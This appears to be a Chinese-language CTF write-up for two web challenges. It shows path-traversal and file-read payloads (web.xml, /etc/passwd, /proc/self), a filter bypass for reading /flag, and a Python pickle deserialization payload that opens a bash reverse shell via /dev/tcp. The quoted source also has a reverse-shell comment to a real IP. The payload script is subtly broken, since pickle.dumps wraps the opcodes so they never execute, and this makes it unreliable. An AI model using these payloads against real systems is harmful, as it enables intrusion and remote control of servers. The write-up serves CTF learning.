长城杯CTF wp(web部分)
0x00 java_url
拿到题目,从题目看不出什么,只知道是java写的,反复试了下,发现download过滤了flag关键字,既然可以下载文件,试了下任意文件下载,读取到web.xml文件,从里面找到源码文件路径:
download?filename=../../../../WEB-INF/web.xml
在web.xml中看到com.test2.aaa1.download,急急忙忙去下载下来,看了半天没找出来漏洞,没看到上面那个真正有用的,错失flag,下面是从大佬博客挖过来的testURL关键源码:
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String tartget_url = req.getParameter("url");
String pri = tartget_url.substring(0, tartget_url.indexOf(":"));
if (pri.matches("(?i)file|(?i)gopher|(?i)data")) {
resp.getWriter().write(String.valueOf((new StringBuilder()).append("false")));
} else {
//如果第一个:前不是file|gopher|data,可以实现任意文件读取
resp.getWriter().write(String.valueOf(getContent(tartget_url)));
}
}
于是构造payload,读取flag:
/testURL?url=url:file:///flag # 常规绕过
/testURL?url=%00file:///flag # 抓包,%00截断
0x01 ez_python
题目描述给了环境,是用的flask,于是尝试SSTI,没有成功,于是换了个思路,尝试任意文件读取,成功:
?pic=/etc/passwd
?pic=/proc/self/cmdline # 读取到当前工作目录:/app/app.py
?pic=/app/app.py # 读取源码
?pic=/proc/self/cwd/app/app.py # 也可以用cwd切换到当前工作目录
- /proc目录
/proc目录通常存储着进程动态运行的各种信息,本质上是一种虚拟目录。如果查看非当前进程的信息,可以对pid进行穷举,如果要查看当前进程,只需/proc/self/代替/proc/[pid]/即可。在cmdline中可以读取到当前进程的工作目录。
app.py:
import pickle
import base64
from flask import Flask, request
from flask import render_template,redirect,send_from_directory
import os
import requests
import random
from flask import send_file
app = Flask(__name__)
class User():
def __init__(self,name,age):
self.name = name
self.age = age
def check(s):
if b'R' in s:
return 0
return 1
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
if check(user):
user = pickle.loads(user)
username = user["username"]
else:
username = "bad,bad,hacker"
except:
username = "CTFer"
pic = '{0}.jpg'.format(random.randint(1,7))
try:
pic=request.args.get('pic')
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()
except:
pic='{0}.jpg'.format(random.randint(1,7))
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()
return render_template('index.html', uname=username, pic=p )
if __name__ == "__main__":
app.run('0.0.0.0',port=8888)# bash -i >& /dev/tcp/112.74.89.58/37051 0>&1
可以发现,check函数过滤了R指令。于是学习了下Python的反序列化,不能说是一知半解,就只能说是一窍不通了,于是手写payload,使用'R'指令的常规版本:
import pickle
import base64
import os
s = b'''cos
system
(S'bash -c "bash -i >& /dev/tcp/xxxxx/xxxx 0>&1"'
tR.
'''
payload = base64.b64encode(pickle.dumps(s))
print(payload)
# 把s拆出来讲一下:
cos # c<module>
system # <callable>
-- 引入os模块中的system,并将其push到当前栈stack中
(S'bash -c "bash -i >& /dev/tcp/xxxxx/xxxx 0>&1"' # (<args>
-- 将当前栈stack存到前序栈metastack中,清空当前栈stack,再将String压入当前栈stack
t
-- 将当前栈中的值(也就是上面的命令)pop出来并转为tuple,把前序栈metastack还原到stack中,再将tuple压入当前栈stack
R
--pop当前栈stack栈顶记为args、pop当前栈stack的栈顶记为f,执行f(args),将结果压进当前栈stack中
. # tR.
--.代表结束,返回当前栈顶元素
但很明显,由于R指令被过滤,这样的payload会被服务器过滤,于是使用o指令绕过的版本:
import pickle
import base64
import os
s = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/xxxxx/xxxx 0>&1"'
o.
'''
payload = base64.b64encode(pickle.dumps(s))
print(payload)
# 把s拆出来讲一下:
(cos # (c<module>
system # <callable>
-- 引入os模块中的system,并将其push到前序栈stack中
S'bash -c "bash -i >& /dev/tcp/xxxxx/xxxx 0>&1"' # <agrs>
-- 将String压入前序栈metastack
o
-- 将前序栈metastack中的值push到栈stack中,并创建实例化对象os.system('bash ...')
. # o.
--.代表结束,返回当前栈顶元素
抓包,将payload写入到Cookie['user']中,反弹shell。